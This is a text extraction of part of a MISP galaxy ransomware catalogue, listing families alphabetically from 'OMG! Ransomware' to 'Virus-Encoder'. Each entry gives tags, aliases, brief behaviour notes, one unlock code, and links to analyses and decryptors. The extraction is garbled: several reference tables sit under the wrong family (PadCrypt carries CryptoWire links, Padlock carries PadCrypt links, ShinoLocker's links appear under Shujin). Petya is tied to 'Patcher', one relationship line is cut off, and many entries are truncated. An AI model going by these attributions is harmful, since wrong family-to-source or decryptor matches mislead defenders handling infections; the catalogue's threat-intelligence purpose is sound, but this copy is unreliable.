The tag is: `misp-galaxy:ransomware="OMG! Ransomware"`

OMG! Ransomware is also known as:

- GPCode

View relationships graph

OMG! Ransomware has relationships with:

- similar: `misp-galaxy:malpedia="GPCode"` with `estimative-language:likelihood-probability="likely"`

*Table 7696. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Operation Global III**

Ransomware Is a file infector (virus)

The tag is: `misp-galaxy:ransomware="Operation Global III"`

*Table 7697. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Owl**

Ransomware

The tag is: `misp-galaxy:ransomware="Owl"`

Owl is also known as:

- CryptoWire

View relationships graph

Owl has relationships with:

- similar: `misp-galaxy:malpedia="CryptoWire"` with `estimative-language:likelihood-probability="likely"`

*Table 7698. Table References*
PadCrypt

Ransomware has a live support chat

The tag is: misp-galaxy:ransomware="PadCrypt"

View relationships graph

PadCrypt has relationships with:

- similar: misp-galaxy:malpedia="PadCrypt" with estimative-language:likelihood-probability="likely"

Table 7699. Table References

Links

https://twitter.com/JakubKroustek/status/842342996775448576
https://id-ransomware.blogspot.com/2016/10/cryptowire-ransomware.html

Padlock Screenlocker

Ransomware Unlock code is: ajVr/G \ RJzQR

The tag is: misp-galaxy:ransomware="Padlock Screenlocker"

Table 7700. Table References

Links

https://twitter.com/malwrhunterteam/status/798141978810732544
http://id-ransomware.blogspot.com/2016/04/padcrypt-ransomware.html

Patcher

Ransomware Targeting macOS users

The tag is: misp-galaxy:ransomware="Patcher"

View relationships graph

Patcher has relationships with:

- similar: misp-galaxy:ransomware="FileCoder" with estimative-language:likelihood-
### Petya

Ransomware encrypts disk partitions PDFBewerbungsmappe.exe

The tag is: `misp-galaxy:ransomware="Petya"`

Petya is also known as:

- Goldeneye

View relationships graph

Petya has relationships with:

- similar: `misp-galaxy:malpedia="Patcher"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:ransomware="GoldenEye Ransomware"` with estimative-language:likelihood-probability="likely"

### Philadelphia

Ransomware Coded by "The_Rainmaker"

The tag is: `misp-galaxy:ransomware="Philadelphia"`
PizzaCrypts

Ransomware

The tag is: misp-galaxy:ransomware="PizzaCrypts"

Table 7704. Table References

Links


https://id-ransomware.blogspot.com/2016/07/pizzacrypts-ransomware-1.html

PokemonGO

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="PokemonGO"

Table 7705. Table References

Links

http://www.nyxbone.com/malware/pokemonGO.html


https://id-ransomware.blogspot.com/2016/08/pokemongo-ransomware-aes-256.html

Polyglot

Ransomware Immitates CTB-Locker

The tag is: misp-galaxy:ransomware="Polyglot"

View relationships graph

Polyglot has relationships with:

- similar: misp-galaxy:malpedia="Polyglot" with estimative-language:likelihood-probability="likely"

Table 7706. Table References
PowerWare

Ransomware Open-sourced PowerShell

The tag is: *misp-galaxy:ransomware*="PowerWare"

PowerWare is also known as:

- PoshCoder

View relationships graph

PowerWare has relationships with:

- similar: *misp-galaxy:malpedia*="PowerWare" with *estimative-language:likelihood-probability*="likely"

Table 7707. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py">https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py</a></td>
</tr>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip">https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/04/powerware-ransomware.html">http://id-ransomware.blogspot.com/2016/04/powerware-ransomware.html</a></td>
</tr>
</tbody>
</table>

PowerWorm

Ransomware no decryption possible, throws key away, destroys the files

The tag is: *misp-galaxy:ransomware*="PowerWorm"

Princess Locker

Ransomware

The tag is: *misp-galaxy:ransomware*="Princess Locker"
PRISM

Ransomware

The tag is: `misp-galaxy:ransomware="PRISM"`

Table 7709. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Ps2exe

Ransomware

The tag is: `misp-galaxy:ransomware="Ps2exe"`

Table 7710. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/jiriatvirlab/status/803297700175286273">https://twitter.com/jiriatvirlab/status/803297700175286273</a></td>
</tr>
</tbody>
</table>

R

Ransomware

The tag is: `misp-galaxy:ransomware="R"`

R is also known as:

- NM3

Table 7711. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/846705481741733892">https://twitter.com/malwrhunterteam/status/846705481741733892</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/03/r-ransomware.html">http://id-ransomware.blogspot.com/2017/03/r-ransomware.html</a></td>
</tr>
</tbody>
</table>
**R980**

Ransomware

The tag is: `misp-galaxy:ransomware="R980"`

*Table 7712. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/">https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/07/r980-ransomware-aes-256-rsa4096-05.html">http://id-ransomware.blogspot.com/2016/07/r980-ransomware-aes-256-rsa4096-05.html</a></td>
</tr>
</tbody>
</table>

**RAA encryptor**

Ransomware Possible affiliation with Pony

The tag is: `misp-galaxy:ransomware="RAA encryptor"`

RAA encryptor is also known as:

- RAA
- RAA SEP

*Table 7713. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://reaqta.com/2016/06/raa-ransomware-delivering-pony/">https://reaqta.com/2016/06/raa-ransomware-delivering-pony/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/raa-ransomware-aes-256-039-250.html">https://id-ransomware.blogspot.com/2016/06/raa-ransomware-aes-256-039-250.html</a></td>
</tr>
</tbody>
</table>

**Rabion**

Ransomware RaaS Copy of Ranion RaaS

The tag is: `misp-galaxy:ransomware="Rabion"`

*Table 7714. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/CryptoInsane/status/846181140025282561">https://twitter.com/CryptoInsane/status/846181140025282561</a></td>
</tr>
</tbody>
</table>

**Radamant**

Ransomware

The tag is: `misp-galaxy:ransomware="Radamant"`
Radamanth has relationships with:

- similar: misp-galaxy:malpedia=“Radamanth” with estimative-language:likelihood-probability=“likely”

Table 7715. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/radamant">https://decrypter.emsisoft.com/radamant</a></td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/malware/radamant.html">http://www.nyxbone.com/malware/radamant.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/radamant-ransomware.html">https://id-ransomware.blogspot.com/2016/04/radamant-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Rakhni**

Ransomware Files might be partially encrypted

The tag is: misp-galaxy:ransomware=“Rakhni”

Rakhni is also known as:

- Agent.iih
- Aura
- Autoit
- Pletor
- Rotor
- Lamer
- Isda
- Cryptokluchen
- Bandarchor

Table 7716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/us/viruses/disinfection/10556">https://support.kaspersky.com/us/viruses/disinfection/10556</a></td>
</tr>
</tbody>
</table>
### Ramsomeer
Ransomware Based on the DUMB ransomware

The tag is: `misp-galaxy:ransomware="Ramsomeer"`

### Rannoh
Ransomware

The tag is: `misp-galaxy:ransomware="Rannoh"`

**Table 7717. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
</tr>
</tbody>
</table>

### RanRan
Ransomware

The tag is: `misp-galaxy:ransomware="RanRan"`

RanRan is also known as:

- ZXZ

**Table 7718. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Ransoc
Ransomware Doesn’t encrypt user files

The tag is: `misp-galaxy:ransomware="Ransoc"`

**View relationships graph**

Ransoc has relationships with:
• similar: misp-galaxy:malpedia="Ransoc" with estimative-language:likelihood-probability="likely"

Table 7719. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Ransom32

Ransomware no extension change, Javascript Ransomware

The tag is: misp-galaxy:ransomware="Ransom32"

Table 7720. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/04/ransom32.html">http://id-ransomware.blogspot.com/2016/04/ransom32.html</a></td>
</tr>
</tbody>
</table>

RansomLock

Ransomware Locks the desktop

The tag is: misp-galaxy:ransomware="RansomLock"

Table 7721. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

RarVault

Ransomware

The tag is: misp-galaxy:ransomware="RarVault"

Table 7722. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Razy

Ransomware
The tag is: `misp-galaxy:ransomware="Razy"`

**Table 7723. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/Razy(German).html">http://www.nyxbone.com/malware/Razy(German).html</a></td>
</tr>
<tr>
<td><a href="http://nyxbone.com/malware/Razy.html">http://nyxbone.com/malware/Razy.html</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/08/razy-ransomware-aes.html">http://id-ransomware.blogspot.com/2016/08/razy-ransomware-aes.html</a></td>
</tr>
</tbody>
</table>

**Rector**

Ransomware

The tag is: `misp-galaxy:ransomware="Rector"`

**Table 7724. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/4264">https://support.kaspersky.com/viruses/disinfection/4264</a></td>
</tr>
</tbody>
</table>

**RektLocker**

Ransomware

The tag is: `misp-galaxy:ransomware="Rekt Locker"`

**Table 7725. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/4264">https://support.kaspersky.com/viruses/disinfection/4264</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/08/rektlocker-ransomware.html">http://id-ransomware.blogspot.com/2016/08/rektlocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

**RemindMe**

Ransomware

The tag is: `misp-galaxy:ransomware="RemindMe"`

**Table 7726. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/RemindMe.html">http://www.nyxbone.com/malware/RemindMe.html</a></td>
</tr>
<tr>
<td><a href="http://i.imgur.com/gV6i5SN.jpg">http://i.imgur.com/gV6i5SN.jpg</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/remindme-ransomware-2.html">http://id-ransomware.blogspot.com/2016/05/remindme-ransomware-2.html</a></td>
</tr>
</tbody>
</table>
Rokku

Ransomware possibly related with Chimera

The tag is: misp-galaxy:ransomware="Rokku"

View relationships graph

Rokku has relationships with:

- similar: misp-galaxy:malpedia="Rokku" with estimative-language:likelihood-probability="likely"

Table 7727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/">https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/rokku-ransomware.html">https://id-ransomware.blogspot.com/2016/04/rokku-ransomware.html</a></td>
</tr>
</tbody>
</table>

RoshaLock

Ransomware Stores your files in a password protected RAR file

The tag is: misp-galaxy:ransomware="RoshaLock"

Table 7728. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/siri_urz/status/842452104279134209">https://twitter.com/siri_urz/status/842452104279134209</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/02/allyourdocuments-ransomware.html">https://id-ransomware.blogspot.com/2017/02/allyourdocuments-ransomware.html</a></td>
</tr>
</tbody>
</table>

Runsomewere

Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background

The tag is: misp-galaxy:ransomware="Runsomewere"

Table 7729. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/801812325657440256">https://twitter.com/struppigel/status/801812325657440256</a></td>
</tr>
</tbody>
</table>

RussianRoulette

Ransomware Variant of the Philadelphia ransomware

The tag is: misp-galaxy:ransomware="RussianRoulette"

Table 7730. Table References
SADStory

Ransomware Variant of CryPy

The tag is: misp-galaxy:ransomware="SADStory"

Table 7731. Table References

Links

https://twitter.com/malwrhunterteam/status/84536853039190016
http://id-ransomware.blogspot.com/2017/03/sadstory-ransomware.html

Sage 2.2

Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.

The tag is: misp-galaxy:ransomware="Sage 2.2"

Table 7732. Table References

Links

https://malwarebreakdown.com/2017/03/16/sage-2-2-ransomware-from-good-man-gate
https://malwarebreakdown.com/2017/03/10/finding-a-good-man/

Samas-Samsam

Ransomware Targeted attacks -Jexboss -PSEnc -Hyena

The tag is: misp-galaxy:ransomware="Samas-Samsam"

Samas-Samsam is also known as:

• samsam.exe
• MIKOPONI.exe
• RikiRafael.exe
• showmehowto.exe
• SamSam Ransomware
• SamSam
• Samsam
• Samas

View relationships graph

Samas-Samsam has relationships with:

• similar: misp-galaxy:malpedia="SamSam" with estimative-language:likelihood-probability="likely"

Table 7733. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/SamSamStringDecrypter.zip">https://download.bleepingcomputer.com/demonslay335/SamSamStringDecrypter.zip</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintel.com/2016/03/samsam-ransomware.html">http://blog.talosintel.com/2016/03/samsam-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://www.intelsecurity.com/advanced-threat-research/content/Analysis_SamSa_Ransomware.pdf">http://www.intelsecurity.com/advanced-threat-research/content/Analysis_SamSa_Ransomware.pdf</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/03/samsam.html">https://id-ransomware.blogspot.com/2016/03/samsam.html</a></td>
</tr>
</tbody>
</table>

Sanction

Ransomware Based on HiddenTear, but heavily modified keygen

The tag is: misp-galaxy:ransomware="Sanction"

Table 7734. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/sanction-ransomware-3.html">http://id-ransomware.blogspot.com/2016/05/sanction-ransomware-3.html</a></td>
</tr>
</tbody>
</table>

Sanctions

Ransomware

The tag is: misp-galaxy:ransomware="Sanctions"

Sanctions is also known as:

• Sanctions 2017

Table 7735. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Sardoninir**

Ransomware

The tag is: `misp-galaxy:ransomware="Sardoninir"`

*Table 7736. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/835955409953357825">https://twitter.com/BleepinComputer/status/835955409953357825</a></td>
</tr>
</tbody>
</table>

**Satana**

Ransomware

The tag is: `misp-galaxy:ransomware="Satana"`

*View relationships graph*

Satana has relationships with:

- similar: `misp-galaxy:malpedia="Satana"` with `estimative-language:likelihood-probability="likely"`

*Table 7737. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/">https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.kaspersky.com/satana-ransomware/12558/">https://blog.kaspersky.com/satana-ransomware/12558/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/satana-ransomware-0.html">https://id-ransomware.blogspot.com/2016/06/satana-ransomware-0.html</a></td>
</tr>
</tbody>
</table>

**Scraper**

Ransomware

The tag is: `misp-galaxy:ransomware="Scraper"`

*Table 7738. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/">http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/</a></td>
</tr>
</tbody>
</table>
Serpico
Ransomware DetoxCrypto Variant

The tag is: misp-galaxy:ransomware="Serpico"

View relationships graph

Serpico has relationships with:

• similar: misp-galaxy:malpedia="Serpico" with estimative-language:likelihood-probability="likely"

Table 7739. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/Serpico.html">http://www.nyxbone.com/malware/Serpico.html</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/08/serpico-ransomware.html">http://id-ransomware.blogspot.com/2016/08/serpico-ransomware.html</a></td>
</tr>
</tbody>
</table>

Shark
Ransomware

The tag is: misp-galaxy:ransomware="Shark"

Shark is also known as:

• Atom

View relationships graph

Shark has relationships with:

• similar: misp-galaxy:rat="SharK" with estimative-language:likelihood-probability="likely"

Table 7740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

ShinoLocker
Ransomware

The tag is: misp-galaxy:ransomware="ShinoLocker"
### Shujin

**Ransomware**

The tag is: *misp-galaxy:ransomware*="Shujin"

Shujin is also known as:

- KinCrypt

View relationships graph

Shujin has relationships with:

- similar: *misp-galaxy:malpedia*="Shujin" with *estimative-language:likelihood-probability*="likely"

### Simple_Encoder

**Ransomware**

The tag is: *misp-galaxy:ransomware*="Simple_Encoder"

Simple_Encoder is also known as:

- Tilde

---

**Table 7741. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/760560147131408384">https://twitter.com/JakubKroustek/status/760560147131408384</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/08/shinolocker-ransomware.html">https://id-ransomware.blogspot.com/2016/08/shinolocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Table 7742. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/chineseRansom.html">http://www.nyxbone.com/malware/chineseRansom.html</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/chinese-ransomware.html">http://id-ransomware.blogspot.com/2016/05/chinese-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Table 7743. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/tilde-ransomware-aes-08.html">https://id-ransomware.blogspot.com/2016/07/tilde-ransomware-aes-08.html</a></td>
</tr>
</tbody>
</table>
SkidLocker
Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="SkidLocker"

SkidLocker is also known as:

- Pompous

Table 7744. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/SkidLocker.html">http://www.nyxbone.com/malware/SkidLocker.html</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/04/pompous-ransomware.html">http://id-ransomware.blogspot.com/2016/04/pompous-ransomware.html</a></td>
</tr>
</tbody>
</table>

Smash!
Ransomware

The tag is: misp-galaxy:ransomware="Smash!"

Table 7745. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Smrss32
Ransomware

The tag is: misp-galaxy:ransomware="Smrss32"

Table 7746. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html">http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html</a></td>
</tr>
</tbody>
</table>

SNSLocker
Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="SNSLocker"

Table 7747. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html">http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html</a></td>
</tr>
</tbody>
</table>
Sport

Ransomware

The tag is: `misp-galaxy:ransomware="Sport"`

Stampado

Ransomware Coded by "The_Rainmaker" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key

The tag is: `misp-galaxy:ransomware="Stampado"`

Table 7748. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://success.trendmicro.com/portal_kb_articleDetail?solutionid=1114221">https://success.trendmicro.com/portal_kb_articleDetail?solutionid=1114221</a></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/stampado">https://decrypter.emsisoft.com/stampado</a></td>
</tr>
<tr>
<td><a href="https://cdn.streamable.com/video/mp4/kfh3.mp4">https://cdn.streamable.com/video/mp4/kfh3.mp4</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/stampado-ransomware-1.html">https://id-ransomware.blogspot.com/2016/07/stampado-ransomware-1.html</a></td>
</tr>
</tbody>
</table>

Strictor

Ransomware Based on EDA2, shows Guy Fawkes mask

The tag is: `misp-galaxy:ransomware="Strictor"`

Table 7749. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/Strictor.html">http://www.nyxbone.com/malware/Strictor.html</a></td>
</tr>
</tbody>
</table>

Surprise

Ransomware Based on EDA2
Survey

Ransomware Still in development, shows FileIce survey

SynoLocker

Ransomware Exploited Synology NAS firmware directly over WAN

SZF Locker

Ransomware

TeamXrat

Ransomware
TeslaCrypt 0.x - 2.2.0

Ransomware Factorization

The tag is: `misp-galaxy:ransomware="TeslaCrypt 0.x - 2.2.0"`

TeslaCrypt 0.x - 2.2.0 is also known as:

- AlphaCrypt

Table 7754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.talosintel.com/teslacrypt_tool/">http://www.talosintel.com/teslacrypt_tool/</a></td>
</tr>
</tbody>
</table>

TeslaCrypt 3.0+

Ransomware 4.0+ has no extension

The tag is: `misp-galaxy:ransomware="TeslaCrypt 3.0+"`

Table 7755. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/">http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/">https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/</a></td>
</tr>
</tbody>
</table>

TeslaCrypt 4.1A

Ransomware

The tag is: `misp-galaxy:ransomware="TeslaCrypt 4.1A"`

Table 7756. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/">http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/">https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/</a></td>
</tr>
</tbody>
</table>
TeslaCrypt 4.2

Ransomware

The tag is: `misp-galaxy:ransomware="TeslaCrypt 4.2"`

Table 7757. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/">http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/">https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/</a></td>
</tr>
</tbody>
</table>

Threat Finder

Ransomware Files cannot be decrypted Has a GUI

The tag is: `misp-galaxy:ransomware="Threat Finder"`

TorrentLocker

Ransomware Newer variants not decryptable. Only first 2 MB are encrypted

The tag is: `misp-galaxy:ransomware="TorrentLocker"`

TorrentLocker is also known as:

  - Crypt0L0cker
  - CryptoFortress
  - Teerac

View relationships graph

TorrentLocker has relationships with:

  - similar: `misp-galaxy:ransomware="CryptoFortress"` with `estimative-language:likelihood-probability="likely"`
  - similar: `misp-galaxy:malpedia="CryptoFortress"` with `estimative-language:likelihood-probability="likely"`
• similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 7758. Table References

Links

http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/

https://twitter.com/PolarToffee/status/804008236600934403

http://blog.talosintelligence.com/2017/03/crypt0l0cker-torrentlocker-old-dog-new.html

http://id-ransomware.blogspot.ru/2016/05/torrentlocker-ransomware-aes-cbc-2048.html

**TowerWeb**

Ransomware

The tag is: misp-galaxy:ransomware="TowerWeb"

Table 7759. Table References

Links


https://id-ransomware.blogspot.com/2016/06/towerweb-ransonware-100.html

**Toxcrypt**

Ransomware

The tag is: misp-galaxy:ransomware="Toxcrypt"

Table 7760. Table References

Links

https://id-ransomware.blogspot.com/2016/06/toxcrypt-ransomware-aes-crypto-0.html

**Trojan**

Ransomware

The tag is: misp-galaxy:ransomware="Trojan"

Trojan is also known as:

• BrainCrypt

Table 7761. Table References
Trolde orShade, XTBL

Ransomware May download additional malware after encryption

The tag is: misp-galaxy:ransomware="Trolde orShade, XTBL"

Trolde orShade, XTBL is also known as:

- Shade
- Trolde

Table 7762. Table References

Links

http://www.nyxbone.com/malware/Trolde.html
https://id-ransomware.blogspot.com/2016/06/trolde-ransomware-email.html

TrueCrypter

Ransomware

The tag is: misp-galaxy:ransomware="TrueCrypter"

Table 7763. Table References

Links

http://id-ransomware.blogspot.com/2016/04/truecrypter-ransomware.html

Turkish

Ransomware

The tag is: misp-galaxy:ransomware="Turkish"

Table 7764. Table References
**Turkish Ransom**

Ransomware

The tag is: `misp-galaxy:ransomware="Turkish Ransom"`

*Table 7765. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/821991600637313024">https://twitter.com/struppigel/status/821991600637313024</a></td>
</tr>
</tbody>
</table>

**UmbreCrypt**

Ransomware CrypBoss Family

The tag is: `misp-galaxy:ransomware="UmbreCrypt"`

*Table 7766. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/umbrecrypt-ransomware-aes.html">https://id-ransomware.blogspot.com/2016/06/umbrecrypt-ransomware-aes.html</a></td>
</tr>
</tbody>
</table>

**UnblockUPC**

Ransomware

The tag is: `misp-galaxy:ransomware="UnblockUPC"`

*Table 7767. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ungluk**

Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key

The tag is: `misp-galaxy:ransomware="Ungluk"`

*Table 7768. Table References*
Unlock92

Ransomware

The tag is: `misp-galaxy:ransomware="Unlock92 "`

Table 7769. Table References

VapeLauncher

Ransomware CryptoWire variant

The tag is: `misp-galaxy:ransomware="VapeLauncher"`

Table 7770. Table References

VaultCrypt

Ransomware

The tag is: `misp-galaxy:ransomware="VaultCrypt"`

VaultCrypt is also known as:

• CrypVault
• Zlader

View relationships graph

VaultCrypt has relationships with:

• similar: `misp-galaxy:ransomware="Zlader"` with `estimative-language:likelihood-probability="likely"`

Table 7771. Table References
VBRANSOM 7

Ransomware

The tag is: misp-galaxy:ransomware="VBRANSOM 7"

Table 7772. Table References

Links

https://twitter.com/BleepinComputer/status/817851339078336513

VenusLocker

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="VenusLocker"

Table 7773. Table References

Links

http://www.nyxbone.com/malware/venusLocker.html
https://id-ransomware.blogspot.com/2016/08/venuslocker-ransomware-aes-256.html

Virlock

Ransomware Polymorphism / Self-replication

The tag is: misp-galaxy:ransomware="Virlock"

Virlock is also known as:

• NSMF

Table 7774. Table References

Links

http://www.nyxbone.com/malware/Virlock.html
http://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/

Virus-Encoder

Ransomware

